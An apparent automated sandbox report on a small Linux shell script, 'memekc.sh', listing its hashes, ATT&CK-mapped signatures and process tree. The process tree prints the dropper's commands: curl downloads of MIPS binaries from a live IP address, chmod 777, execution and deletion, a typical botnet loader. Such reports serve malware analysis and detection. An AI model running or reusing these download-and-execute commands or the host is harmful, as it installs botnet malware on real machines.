Analysis
- max time kernel
5s - max time network
7s - platform
debian-9_mipsel - resource
debian9-mipsel-20260513-en - resource tags
arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem - submitted
23/05/2026, 14:04
Static task
static1
Behavioral task
behavioral1
Sample
memekc.sh
Resource
ubuntu1804-amd64-20260513-en
3 signatures
150 seconds
Behavioral task
behavioral2
Sample
memekc.sh
Resource
debian9-armhf-20260513-en
5 signatures
150 seconds
Behavioral task
behavioral3
Sample
memekc.sh
Resource
debian9-mipsbe-20260513-en
5 signatures
150 seconds
Behavioral task
behavioral4
Sample
memekc.sh
Resource
debian9-mipsel-20260513-en
5 signatures
150 seconds
General
- Target memekc.sh
- Size 868B
- Sample260523-rdb2qaaw8j
- SHA256 2f0dd5c9ab2b550631a9785f61af01d0d9a38e0f029ee946642df2d099408b0c
- MD5 e596dcc19376f9dde30bbde12cd5a0c9
- SHA1 c34cfe770749ef66dfab9a7b846ebeaaa974dfa4
- SHA512 97114f3f2cab91d157510ae436b68f5596e80243281783f875e9b6ebd7932f713c97a39599201cd6fed2a0a9bc8e1e6edbc5defc507de367ca58af0f87091df2
- TLSH T1E0116D97F99686A38E8D007D5F6EB1164063C87717A2C839B28CEF190F53144BAE1238
- MD5 SHA1 SHA512 TLSH
Score
7/10
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 747 chmod -
resource yara_rule behavioral4/files/fstream-1.dat upx -
description ioc Process File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl - System Network Configuration Discovery 1 TTPs 1 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 744 curl - Writes file to tmp directory 2 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/luxzz.mpsl curl File opened for modification /tmp/luxzz.mips curl
Processes
-
/tmp/memekc.sh/tmp/memekc.sh1⤵PID:719
-
/bin/unameuname -m2⤵PID:722
-
-
/usr/bin/curlcurl http://62.169.16.83/luxzzxzzx/luxzz.mpsl -O bot2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:725
-
-
/usr/bin/curlcurl http://62.169.16.83/luxzzxzzx/luxzz.mips -O bot2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:744
-
-
/bin/chmodchmod 777 bot2⤵
- File and Directory Permissions Modification
PID:747
-
-
/tmp/bot./bot2⤵PID:748
-
-
/bin/rmrm -rf bot2⤵PID:749
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path /tmp/luxzz.mpsl
- Size 48KB
- SHA256 85f219d3cde670a8a58d12bca0565a0f02d8f7184da32e4515572198582c05cd
- MD5 a1febce58a6c6fcaa99b4376059c1a5d
- SHA1 8e091711439327ec448074103e807b68c5a6aed3
- SHA512 c15c96eaee660eb85da1373591460ada38dc54e5769351307f593d9ff6ed1dc99155ef40810a25943f10ad478f77526a35489f7a3bc30a4017dcc6dc952eacdb
- SSDEEP 1536:jOIHu9FZgqUbl3LkH2k0ION4qCnBUOIGQHAq954:jU9FZgqUbRAWf2HBU5HJ54
- TLSH T1D423F19C8E20899FE2DF86AE0F9B1D64C1F30DA6ED0ED04D6AD25096A10493D77A9F10
- MD5 SHA1 SHA512 SSDEEP TLSH